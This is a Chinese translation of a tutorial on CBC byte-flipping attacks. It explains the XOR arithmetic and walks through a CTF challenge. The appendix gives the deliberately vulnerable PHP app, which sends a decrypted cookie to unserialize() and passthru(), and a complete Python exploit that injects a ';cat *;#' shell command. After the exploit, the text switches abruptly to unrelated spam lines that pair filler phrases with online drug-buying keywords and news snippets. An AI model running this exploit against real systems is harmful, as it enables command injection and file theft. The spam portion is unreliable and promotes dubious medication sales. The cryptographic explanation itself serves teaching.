CBC字节翻转攻击-101Approach
0x00 译者前言
本文翻译自:http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/
drops里的相关主题文章:使用CBC比特反转攻击绕过加密的会话令牌
缘起是糖果出的一道题,看到原文作者对这一问题阐述的较为详细,虽然时间有些久远,但翻译一下可与诸君学习一下思考问题的方法。
0x01 相关介绍
此攻击方法的精髓在于:通过损坏密文字节来改变明文字节。(注:借助CBC内部的模式)借由此可以绕过过滤器,或者改变用户权限提升至管理员,又或者改变应用程序预期明文以尽猥琐之事。
首先让我们看看CBC是如何工作的,(作者很懒所以)更多细节你可以看这里:wiki
在这里只是解释一下关于攻击必须要理解的部分。(即:一图胜千言)
加密过程
Plaintext:待加密的数据。
IV:用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文。
Key:被一些如AES的对称加密算法使用。
Ciphertext:加密后的数据。
在这里重要的一点是,CBC工作于一个固定长度的比特组,将其称之为块。在本文中,我们将使用包含16字节的块。
因为作者讨厌高数(和译者一样),所以作者造了一些自己的公式(方便记忆):
•Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
•Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块
注意:正如你所见,前一块的密文用来产生后一块的密文。
Decryption Process
•Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块
•Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块
注意:Ciphertext-N-1(密文-N-1)是用来产生下一块明文;这就是字节翻转攻击开始发挥作用的地方。如果我们改变Ciphertext-N-1(密文-N-1)的一个字节,然后与下一个解密后的组块异或,我们就可以得到一个不同的明文了!You got it?别担心,下面我们将看到一个详细的例子。与此同时,下面的这张图也可以很好地说明这种攻击:
0x02 一个例子(CBC Blocks of 16 bytes)
比方说,我们有这样的明文序列:
a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}
我们的目标是将“s:6”当中的数字6转换成数字“7”。我们需要做的第一件事就是把明文分成16个字节的块:
•Block 1:a:2:{s:4:"name"; •Block 2:s:6:"sdsdsd";s:8 •Block 3::"greeting";s:20 •Block 4::"echo 'Hello sd •Block 5:sdsd!'";}
因此,我们的目标字符位于块2,这意味着我们需要改变块1的密文来改变第二块的明文。
有一条经验法则是(注:结合上面的说明图可以得到),你在密文中改变的字节,只会影响到在下一明文当中,具有相同偏移量的字节。所以我们目标的偏移量是2:
•[0] = s
•1 = :
•2 =6
因此我们要改变在第一个密文块当中,偏移量是2的字节。正如你在下面的代码当中看到的,在第2行我们得到了整个数据的密文,然后在第3行中,我们改变块1中偏移量为2的字节,最后我们再调用解密函数。
1.$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
2.$enc = @encrypt($v);
3.$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
4.$b = @decrypt($enc);
运行这段代码后,我们可以将数字6变为7:
但是我们在第3行中,是如何改变字节成为我们想要的值呢?
基于上述的解密过程,我们知道有,A = Decrypt(Ciphertext)与B = Ciphertext-N-1异或后最终得到C = 6。等价于:
A = B XOR C
最后,A XOR B XOR C等于0。有了这个公式,我们可以在XOR运算的末尾处设置我们自己的值,就像这样:
A XOR B XOR C XOR "7"会在块2的明文当中,偏移量为2的字节处得到7。
下面是相关原理实现的PHP源代码:
define('MY_AES_KEY', "abcdef0123456789"); function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data); } define('MY_MAC_LEN', 40); function encrypt($data) { return aes($data, true); } function decrypt($data) { $data = rtrim(aes($data, false), "\0"); return $data; } $v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}"; echo "Plaintext before attack: $v\n"; $b = array(); $enc = array(); $enc = @encrypt($v); $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7")); $b = @decrypt($enc); echo "Plaintext AFTER attack : $b\n";
0x03 一个练习
光说不练假把式,接下来作者举了一个他参加过的CTF中的一道题目的例子(更多详情可以参阅最后的相关参考链接),然后阐述了他是怎样在最后几步中打破CBC的。
下面提供了这个练习当中很重要的一部分源码:
name = 'X' + ';cat *;#a' |
---|
首先作者添加了一个字符"X",通过CBC翻转攻击将其替换成一个单引号,然后;cat *;命令将被执行,最后的#是用来注释,确保函数escapeshellarg()插入的单引号不会引起其他问题;因此我们的命令就被成功执行啦。
在计算好之前的密码块中,要被改变的字节的确切偏移量(51)后,作者通过下面的代码来注入单引号:
pos = 51; val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos])) exploit = cookie[0:pos] + val + cookie[pos + 1:] |
---|
然后作者通过改变cookie(因为其具有全部的密文),得到以下结果:
首先,因为我们改变了第一块,所以在第二块中,黄色标记的"X"被成功替换为单引号,它被认为是多余插入(绿色),导致在unserialize()处理数据时产生一个错误(红色),因此应用程序甚至都没有去尝试执行注入了。
如何完善
我们需要使我们的注入数据有效,那么我们在第一块中得到的额外数据,就不能在反序列化的过程中造成任何问题(unserialize())。一种方法是在我们的恶意命令中填充字母字符。因此我们尝试在注入字符串前后填充多个'z':
name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16 |
---|
在发送上述字符串后,unserialize()并没有报错,并且我们的shell命令成功执行!!!
0x04 相关参考
1.CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto
2.http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
3.http://hardc0de.ru/2013/08/04/ebctf-web400/
0x05 附录代码
下面是上面练习当中的PHP源码及exp:
•PHP code:
ini_set('display_errors',1); error_reporting(E_ALL); define('MY_AES_KEY', "abcdef0123456789"); define('MY_HMAC_KEY',"1234567890123456" ); #define("FLAG","CENSORED"); function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data); } define('MY_MAC_LEN', 40); function hmac($data) { return hash_hmac('sha1', data, MY_HMAC_KEY); } function encrypt($data) { return aes($data . hmac($data), true); } function decrypt($data) { $data = rtrim(aes($data, false), "\0"); $mac = substr($data, -MY_MAC_LEN); $data = substr($data, 0, -MY_MAC_LEN); return hmac($data) === $mac ? $data : null; } $settings = array(); if (@$_COOKIE['settings']) { echo @decrypt(base64_decode($_COOKIE['settings'])); $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings']))); } if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) { $settings = array( 'name' => $_POST['name'], 'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")), ); setcookie('settings', base64_encode(@encrypt(serialize($settings)))); #setcookie('settings', serialize($settings)); } $d = array(); if (@$settings['greeting']) { passthru($settings['greeting']); else { echo "
\n"; } ?>
Exploit:
#!/usr/bin/python import requests import sys import urllib from base64 import b64decode as dec from base64 import b64encode as enc url = 'http://192.168.184.133/ebctf/mine.php' def Test(x): t = "echo 'Hello %s!'" % x s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40) for i in xrange(0,len(s),16): print s[i:i+16] print '\n' def Pwn(s): global url s = urllib.quote_plus(enc(s)) req = requests.get(url, cookies = {'settings' : s}).content # if req.find('works') != -1: print req # else: # print '[-] FAIL' def GetCookie(name): global url d = { 'name':name, 'submit':'Submit' } h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers if h.has_key('set-cookie'): h = dec(urllib.unquote_plus(h['set-cookie'][9:])) #h = urllib.unquote_plus(h['set-cookie'][9:]) #print h return h else: print '[-] ERROR' sys.exit(0) #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";} #a:2:{s:4:"name"; #s:10:"X;cat *;#a #";s:8:"greeting" #;s:24:"echo 'Hel #lo X;cat *;#a!'" #;} #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";} #a:2:{s:4:"name"; #s:42:"zzzzzzzzzz #zzzzzzzX;cat *;# #zzzzzzzzzzzzzzzz #";s:8:"greeting" #;s:56:"echo 'Hel #lo zzzzzzzzzzzzz #zzzzX;cat *;#zzz #zzzzzzzzzzzzz!'" #;} #exploit = 'X' + ';cat *;#a' #Test case first, unsuccess exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success #exploit = "______________________________________________________; cat *;#" #Test(exploit) cookie = GetCookie(exploit) pos = 100; #test case success #pos = 51; #test case first, unsuccess val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos])) exploit = cookie[0:pos] + val + cookie[pos + 1:] Pwn(exploit)
Who's calling? how to buy pyridium without rx Houthi rebel supporters released barrages of fireworks across the Yemeni capital Sana'a Friday evening to celebrate the announcement that the country's old political institutions were being dissolved
I came here to work buy acarbose uk “It quickly morphed from Giuliani’s foolish words — it’s unwise to shootfromthelip on people’s love of country — to what every Republican of note thinks about Giuliani, starting with Governor Scott Walker, for whom the dinner was being held
A jiffy bag order mefenamic acid Individual bank's complaints figures suggest that the number of complaints about PPI are starting to slow.
A book of First Class stamps amlodipine norvasc dosage The city of Copiapo, some 800 km (497 miles) north of Santiago and home to 160,000 people is also partly cut off, he said, adding that the airports of both Copiapo and Antofagasta further to the north have been closed to commercial air traffic.
Could you tell me the number for ? generic prazosin That is the department mainly in charge of implementing the order announced by Obama last month.
How do you know each other? nizoral capsules buy He was an NFL Network analyst after his playing career, but the network fired him last year when he was charged in the Los Angeles case.
I'm from England blum minipress p for sale "This is one example of a systematic series of attacks against different members of the public or the press who criticise him," Acosta said.
We'd like to offer you the job buy pyridostigmine bromide online College of Anaesthetists of Ireland president, Dr Ellen O’Sullivan, said that — at one case out of every 19,000 surgeries — the number of incidents uncovered by the audit is lower than previously suggested.
I'm retired mestinon This is a heavy burden for education systems to bear, and it is unlikely that school systems will achieve performance parity with the best-performing countries until they accept that all children can achieve at very high levels.
What are the hours of work? purchase pyridostigmine bromide online “Obviously we don’t care what the government says about these things,” said Mahyar, a business student living in Tehran who only gave her first name
What's the exchange rate for euros? buy cheap meclizine hydrochloride oral He said candidates would be required to agree to "an anti-corruption and anti-bribery clause."
Could I take your name and number, please? lopressor divitabs 200 mg However, they were almost 2.5 times more likely than normal weight babies to develop a psychiatric problem by their early 30s, including anxiety, depression and ADHD (attention deficit hyperactivity disorder).
I never went to university buy lioresal Senate and captured their biggest majority in the House of Representatives in more than 60 years
I've lost my bank card levonorgestrel ethinyl estradiol The hope is that more investment by Japanese companies would bring about "a lot of other economic activities in Japan because it will result in job security, a pay rise, then consumer spending," he says.
What are the hours of work? cheap lanoxin Prosecutors on Wednesday moved to drop the case after new ballistics tests contradicted those done three decades ago
I'd like to pay this cheque in, please transdermal verapamil 15 gel price The Yanks’ position players report on Wednesday and the club has its first full-squad workout Thursday
I've got a full-time job order hyzaar He offers the illusion of inclusion in the sport, fights the harsh image of golf once expressed by comedian George Carlin: "A meaningless, mindless activity engaged in primarily by white, well-to-do business men who use the game to get together and make deals to carve this country up among themselves."
Could you please repeat that? buy hydroxyurea 500 mg online By providing eye exams and parental GED classes (principal Fred Tudda, PS 188 in Coney Island); lighting the spark of love for science (chemistry teacher Tom Sangiorgi of Townsend Harris High School); founding the nation’s longest-lived HIV/AIDS education program, in the Bronx (Thomas Porton); running a Queens special-needs school whose students speak 27 different languages (Beth Rudolph); helping dropouts reboot their education (Robert Zweig); and counseling students in juvenile detention (Vallerie Cleveland).
I'd like to send this letter by furacin for horses The charity says sufferers are more than twice as likely to receive better asthma care in Northern Ireland than in Wales
I read a lot buy amiloride online Volkswagen's Audi luxury brandovertook Cadillac last year, knocking the GM brand to 5th in theU.S